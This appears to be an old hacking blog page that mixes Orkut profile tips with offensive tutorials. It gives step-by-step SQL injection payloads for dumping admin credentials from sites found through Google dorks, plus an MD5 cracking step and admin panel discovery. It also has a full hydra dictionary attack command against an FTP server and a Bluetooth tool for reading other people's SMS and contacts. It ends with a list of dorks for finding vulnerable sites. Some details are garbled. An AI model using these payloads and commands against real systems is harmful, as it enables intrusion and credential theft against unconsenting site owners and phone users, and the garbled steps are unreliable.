Easiest way to hack websites

Objective:finding admin password of a website
Tools required:
1.exploit scanner
download link :http://www.megaupload.com/?d=KWHLU1JC
2.sqli helper version 2.7
download link: http://rs417.rapidshare.com/files/283992449/SQLIHelperV.2.7.rar
3.Admin panel finder
download link: http://www.megaupload.com/?d=066ONRML
Checking vunerability
1.open exploit scanner and input a dork.for example "inurl:index.php?id=" (without quotes).
2.click scan sites
3.after you obtain a list of sites click "test sites".
4.pick one of the tested sites
Finding admin password
1.open sqli helper
2.input one among the tested site
3.click "inject"
4.wait for a sometime until it checks vunerability--no of columns--my sql version--union support--and after that if my sql version is >5 it asks us to get the database.
5.click "Get database".
6.after it finishes getting database select a database and click "Get tables"
7.after that find the admin table from table list and click "Get columns"(here you can see the columns like user,admin,pwd,password,email something like that
8.select username and password and Click "Dump now"
then you will be able to see the username and password.
If the user name is encrypted in MD5 Go to www.md5decrypter.co.uk/ or www.md5crack.com and crack it.
Finding admin control panel
1.open admin panel finder and input the url of the site for example www.site.com
2.press scan now
3.after finding the admin panel you can login using the username and password.

Screenshot
SQLi helper

How to make a signature in orkut scraps

Create a signature at http://www.gif-mania.net/signatures-animees/

download it to your computer

Now go to http://www.photobucket.com/

Register there.it is a very good site to upload images and share it on internet

Once registered upload the signature to it.

then click on share now

There you can see four types of links

copy the HTML code from it

now go to orkut scrapbook and click on html scrap

Paste the code there and post it

To make the sign align towards right add the code below

DIV align="right">insert your HTML code here /DIV (close the div tags with <>

Song in about me orkut

This is only supported in new orkut

First of all sign in your orkut account

Now go to www.mp3orkut.com

select the song you wish

Now press and hold left mouse button to select the player and press ctrl+c to copy the song.

Go to new orkut--Edit about me

Once in there press ctrl+v to paste it.

Click save

thats it

Now when ever a person visits your profile he can hear the song

Cracking FTP with thc-hydra

Download hydra from http://freeworld.thc.org/thc-hydra/

After downloading hydra move it to C: drive and rename it to hydra

Then you have to download a dictionary file to make a dictionary attack(a dictionary file consists of hundreds commonly used passwords,not only commonly used passwords but many names and numbers)

Find a dictionary text file on google

Place the dictionary file in hydra folder nad rename it to dic.txt

Then to crack FTP we have to find the ip address of the target

To find the ip address of any website go to cmd prompt and type

ping www.site.com

Then you can obtain the ip address of the target site.

Now go to start menu cmd prompt and navigate to hydra folder in c:

cd\
cd hydra
cd:\hydra>

Now to start the attack we use the following command

hydra -l user -P dic.txt -e nS -vV xxx.xxx.xxx.xxx ftp

Where xxx.xxx.xxx.xxx is ip address of the target

Now hydra starts attempting login with username user(as specified in the command line) and each an every word in the dic.txt

When the cracking process is finished you can see the password

Important:For educational purposes only

Easy way to use a proxy

There are three types of proxies
they are:
Transparent Proxy –
IP address can be caught by server using HTTP_X_FORWARDED_FOR variable, such proxies usually used to increase internet speed and decrease amount of abroad traffic.

Anonymous Proxy –
IP address can not be caught by server but server knows that proxy was used during connection. It is very useful to be anonymous surfing in internet .

Elite Proxy –
The best way to hide yourself.IP address cannot be caught by the server.
well the easiest way to use a proxy is to add a foxyproxy addon on firefox
https://addons.mozilla.org/firefox/addon/2464
You can switch between multiple proxy servers at a single click

Hacking Mobiles with bluetooth

This works in most of mobiles which have java application support.

here is the link for downloading the application.

http://www.thomas.hoornstra.org/hack/SuperBluetoothHack_v108.jar.zip

Download the zip file,extract it and dump the jar file into your mobile.
Once if you are connected to another phone you can do the following:
1.call a number with his mobile
2.read his contacts
3.keep it in silent mode
4.play songs in his mobile
5.Change language.
6.read his sms
7.see his dialled,missed and recieved calls
8.Set alarm.
9.change clock time & much more...

Hacking websites with SQL

First of all we have to find a vunerable site

To get a vunerable site we can use a list of dorks,here we take

"inurl:index.php?id="

Goto google and search for "inurl:index.php?id="
click any site for example www.site.com/index.php?id=420

Checking vunerability:

To test the vunerability we add a ' at the end of the url so now it becomes

www.site.com/index.php?id=420'

if it gives an error like

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' and status=1' at line 1" or something like that

we can assume that it is vunerable.

Checking the number of columns:

To find the number of columns in its database we have to

do the following

www.site.com/index.php?id=420 order by 1-- if we donot get an error,it means that the column exists
similarly check
www.site.com/index.php?id=420 order by 2-- no error
www.site.com/index.php?id=420 order by 3-- no error
www.site.com/index.php?id=420 order by 4-- no error
www.site.com/index.php?id=420 order by 5-- no error
www.site.com/index.php?id=420 order by 6-- error

ok lets us assume that we got an error at 6 like 'Unknown column' ,this means that the database consists of only 5 columns

Check whether it supports UNION:

now try www.site.com/index.php?id=420 union select 1,2,3,4,5--

if we see some number like 2 3 or something like that on the screen then union works
data can be retrieved from 2 and 3

Finding MySql version:

Replace 2 in the url with @@version

Now it becomes www.site.com/index.php?id=420 union select 1,@@version,3,4,5--

you can find on scrren something like 5.0.37-log which is MySql version
it is different for different sites.For MySql version greater <5 we proceed for next steps

Getting the table names:

For getting table names we have to replace @@version from the above url with group_concat(table_name) and at the end add

+from+information_schema.tables+where+table_schema=database()--

now the url becomes Now it becomes

www.site.com/index.php?id=420 union select 1,group_concat(table_name),3,4,5+from+information_schema.tables+where+table_schema=database()--

after hitting enter we can see something like this

user_admins,user_access,user_groups,user_userinaccess,user_users

which are table names in the database

Getting the column names:

To get the column names in the table we have to replace group_concat(table_name) with
group_concat(column_name)

now the url looks like

www.site.com/index.php?id=420 union select 1,group_concat(column_name),3,4,5+from+information_schema.columns+where+table_name='users_admins'--

now we can see something like username,password,email (different for different sites)

Getting username and password:

now we replace group_concat(column_name) with group_concat(id,0x3a,pass,0x3a,mail)
and at the end we add from+user_admins--

the url now looks like

www.site.com/index.php?id=420 union select 1,group_concat(id,0x3a,pass,0x3a,mail),3,4,5+from+user_admins'--

after hitting enter we can see username and password on the screen

if the password is MD5hash we decrypt it at
http://www.md5decrypter.co.uk/

List of google dorks

inurl:index.php?id=
inurl:news.php?id=
inurl:show.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:view.php?id=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:article.php?ID=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=